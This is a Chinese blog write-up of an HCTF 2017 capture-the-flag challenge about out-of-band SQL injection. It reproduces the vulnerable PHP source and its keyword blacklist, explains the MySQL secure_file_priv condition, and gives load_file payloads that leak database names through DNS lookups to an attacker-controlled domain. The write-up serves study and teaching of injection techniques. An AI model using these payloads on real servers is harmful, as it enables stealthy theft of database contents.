OOB注入

MYSQL OOB(带外注入)

前言

这篇文章起于2017hctf中的一道注入题,第一次遇见但确实比较有意思,所以记录下来。
原题是一个简单的页面,提示网站的数据库还没有完成,但是页面显示是连接到sql server数据库的。通过目录扫描获得网站部分源码的zip文件。
源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
echo "Bob received a mission to write a login system on someone else's server, and he he only finished half of the work<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);
try {
$conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", "");
}
catch( PDOException $e ) {
die( "Error connecting to SQL Server".$e->getMessage() );
}
#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: On linkname:mysql
$stmt = $conn->query( $query );
while ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
//TO DO: ...
//It's time to sleep...
}
?>

从源码中看出其过滤了sql server 的命令函数,并且提示link server: On,linkname:mysql,一搜才发现原来可以在sql server中可以设置连接到mysql数据库,从mysql中获取数据。具体连接语句id=1 select * from openquery(mysql,'select * from config');就可以连接到本地或者远程的mysql数据库。

什么是带外注入

OOB攻击是通过外部通道,例如http(s)请求,DNS解析,文件系统和电子邮件系统等服务通道将数据库中的信息带出。而一般的sql注入我们是直接在数据库中直接获取数据库信息。

##利用条件
MySQL中有一个名为secure_file_priv的全局系统变量。这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。

  • 如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
  • 如果变量为空,则不会产生影响,引起不安全的配置。
  • 如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始允许。

在MySQL 5.5.53之前,此变量默认为空,因此我们就可以使用这些函数。但是在5.5.53之后的版本中,NULL值会禁用这些功能。我们可使用其中的一种方法来检查这个变量的值。Secure_file_priv是一个全局变量,它是一个只读变量,你不能在运行时改变它。也就是说如果此种注入比较依赖版本。

使用DNS解析提取数据

在mysql中会对查询语句中的ip和网址尝试DNS解析。例如:

1
2
select load_file(concat(‘\\\\’,database()’yoursite.com\\a.txt’));
select load_file(concat(0x5c5c5c5c,database(),0x796F7572736974652E636F6D5C5C612E747874));

为了直观演示我们在本地输入上面第二条payload


然后我们抓包看Mysql发出的DNS查询数据

我们可以看到mysql直接将我们的查询语句verson()返回的数据user发送给了DNS服务器。
然后我们在我们的DNS服务器上(这里网上有现成的http://dnsbin.zhack.ca/)就可以看到mysql发过来的数据,例如我查询的是数据库的版本号。

就是这样,我们就通过DNS通道,完成了和普通mysql注入同样的数据查询效果。

回到原题,利用这个思路,我们就可以很清楚地爆出题目的数据,原题数据如下,这里就只贴出数据库的名字,后续的用一般手法注入就行了:

文章目录
  1. 1. MYSQL OOB(带外注入)
    1. 1.1. 前言
    2. 1.2. 什么是带外注入
    3. 1.3. 使用DNS解析提取数据